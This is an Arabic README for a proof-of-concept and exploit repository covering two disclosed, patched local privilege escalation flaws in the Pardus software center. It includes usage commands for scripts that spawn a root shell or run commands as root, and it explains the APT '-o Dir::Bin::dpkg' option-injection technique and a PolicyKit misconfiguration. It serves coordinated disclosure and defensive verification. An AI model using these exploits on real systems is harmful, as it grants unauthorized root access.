مركز برمجيات باردوس — تصعيد الامتيازات المحلي (CVE-2026-14459 & CVE-2026-14460)

كود إثبات المفهوم والاستغلال الجاهز لثغرتين لتصعيد الامتيازات المحلي في حزمة pardus-software (مركز برمجيات باردوس) الإصدار 1.0.4، وكلتاهما أُصلحتا في 1.0.5.

المتأثر: pardus-software 1.0.4 · المُصلَح: pardus-software 1.0.5 البائع: Pardus / TÜBİTAK BİLGEM · إفصاح منسّق عبر البائع و USOM (CERT-TR).

الجانب القانوني / النطاق

نُشر هذا الكود لأغراض البحث الدفاعي والتعليم والتحقق من ثغرة مُصلَحة ومكشوفة علنًا. كلتا المسألتين أُصلحتا في pardus-software 1.0.5.

شغّله فقط على أجهزة افتراضية معزولة وقابلة للتخلص منها تملكها أو مخوّل صراحةً لاختبارها. لا تشغّله ضد أنظمة لا تتحكم فيها. أنت مسؤول عن الامتثال لجميع القوانين السارية. لا يتحمل المؤلف أي مسؤولية عن إساءة الاستخدام.

هيكل المستودع

pardus-software-lpe/
├── README.md
├── poc/
│   └── poc.sh                 # original benign PoC (proof-only; both CVEs)
└── exploit/
    ├── exploit-14459.sh       # CVE-2026-14459 → interactive root shell
    └── exploit-14460.sh       # CVE-2026-14460 → unauth root apt-update (DoS)

أي سكربت يُثبت أي CVE؟

سكربت poc.sh واحد يغطي الاكتشافين عبر أوامر فرعية:

نسخة poc/ حميدة: تسجّل مخرجات id فقط في /tmp/pardus_lpe_proof وتُنشئ /tmp/rootbash بامتياز setuid root كإثبات. أما نسخ exploit/ فهي المعادلات المجهزة بالكامل، «أعطني صدفة جذر»، للعرض على الأهداف المصرّح بها.

poc.sh SHA256: 1d3f4c19affdb377ac5eee4c695619e9f6a4590350c3936678eb1db2cf601255

الإعداد (الضحية الاختبارية)

يتضمن إثبات المفهوم الحميد مُساعدًا لإنشاء حساب victim بصلاحيات محدودة في مجموعة pardus-software (بدون sudo) على جهاز افتراضي مؤقت بنظام Pardus 25:

sudo ./poc/poc.sh setup-victim
sudo cp poc/poc.sh /home/victim/ && sudo chown victim /home/victim/poc.sh

تشغيل إثبات المفهوم الحميد (إثبات فقط)

# CVE-2026-14459 — option injection (primary)
sudo su - victim -c 'cd ~ && ./poc.sh B'
#   if 'hello' is already installed/unavailable:  ./poc.sh B sl

# CVE-2026-14459 — local unsigned .deb (secondary)
sudo su - victim -c 'cd ~ && ./poc.sh A'

# CVE-2026-14460 — unauthenticated root apt update (any user, no special group)
sudo useradd -m -s /bin/bash nobody2
sudo cp poc/poc.sh /home/nobody2/ && sudo chown nobody2 /home/nobody2/poc.sh
sudo su - nobody2 -c 'cd ~ && ./poc.sh autoupdate'

المتوقع: لا يُطلب كلمة مرور؛ يُظهر الإخراج uid=0(root)، و/tmp/pardus_lpe_proof مملوكًا للجذر، و/tmp/rootbash كـ -rwsr-xr-x root root (setuid root). بالنسبة لـ B، تطبع APT أيضًا مؤشرها الخاص على أن السكربت المحقون عمل بدلًا من dpkg:

Warning: APT had planned for dpkg to do more than it reported back (0 vs 5).
   Affected packages: hello:amd64

تشغيل النسخ الجاهزة للاستغلال

شغّل هذه بوصف المستخدم غير المميز المستهدف (بالنسبة لـ 14459، عضو في مجموعة pardus-software).

# CVE-2026-14459 → interactive root shell
./exploit/exploit-14459.sh
#   run a single command as root instead of a shell:
./exploit/exploit-14459.sh -c "id > /root/pwned"
#   if 'hello' is installed/unavailable, pick an uninstalled package:
PKG=sl ./exploit/exploit-14459.sh

# CVE-2026-14460 → unauthenticated root apt-update (local DoS)
./exploit/exploit-14460.sh
#   demonstrate the DoS surface with repeated invocations:
./exploit/exploit-14460.sh -n 20

على مضيف مُصَلَح (>= 1.0.5) يفشل كلا السكربتين بشكل نظيف ويُعلنان ذلك.

السبب الجذري (باختصار)

CVE-2026-14459. دالة install() في Actions.py تقسم وسيط packages على المسافات وتُلحق الرموز مباشرةً بمتجه وسائط apt — دون التحقق من الأسماء، ودون فاصل الخيارات --. أي رمز يبدو كخيار APT يتم اعتماده، بما في ذلك -o Dir::Bin::dpkg=<path>، الذي يستبدل المحرك الخلفي لمدير الحزم بسكربت مهاجم يعمل بعد ذلك كجذر. النمط نفسه موجود في remove/upgrade/reinstall/downgrade.

CVE-2026-14460. إجراء PolicyKit autoaptupdateaction أُعلن بـ allow_any=yes، مما يسمح لأي موضوع دون مصادقة. يمكن لأي مستخدم محلي استدعاء AutoAptUpdate.py كجذر — سطح رفض خدمة محلي.

الكتابات الفنية الكاملة (إنجليزي + تركي): ([https://medium.com/@dasokkk/missing-authorization-in-pardus-software-center-any-local-user-can-run-apt-update-as-root-de4756d4c1a1] (https://medium.com/@dasokkk/local-privilege-escalation-in-pardus-software-center-via-apt-option-injection-cve-2026-14459-569ad65a2250))

المعالجة

أُصلح في pardus-software 1.0.5:

• a6ff277 — التحقق من اسم الحزمة (regex في parse_packages() + فاصل --) لإجراءات apt (CVE-2026-14459).
• 70210af — allow_any: yes → auth_admin لإجراء autoaptupdateaction (CVE-2026-14460).
• مقارنة الإصدارين 1.0.4 → 1.0.5

إذا كنت تستخدم Pardus، فقم بالترقية إلى pardus-software 1.0.5 أو أحدث.

المراجع

• NVD: CVE-2026-14459 · CVE-2026-14460
• إشعار USOM (CERT-TR): https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0497
• إصلاحات البائع: a6ff277 · 70210af

للاختبار المصرّح به فقط

بحث وإفصاح منسّق بواسطة Kerem Kaan Daşmaz.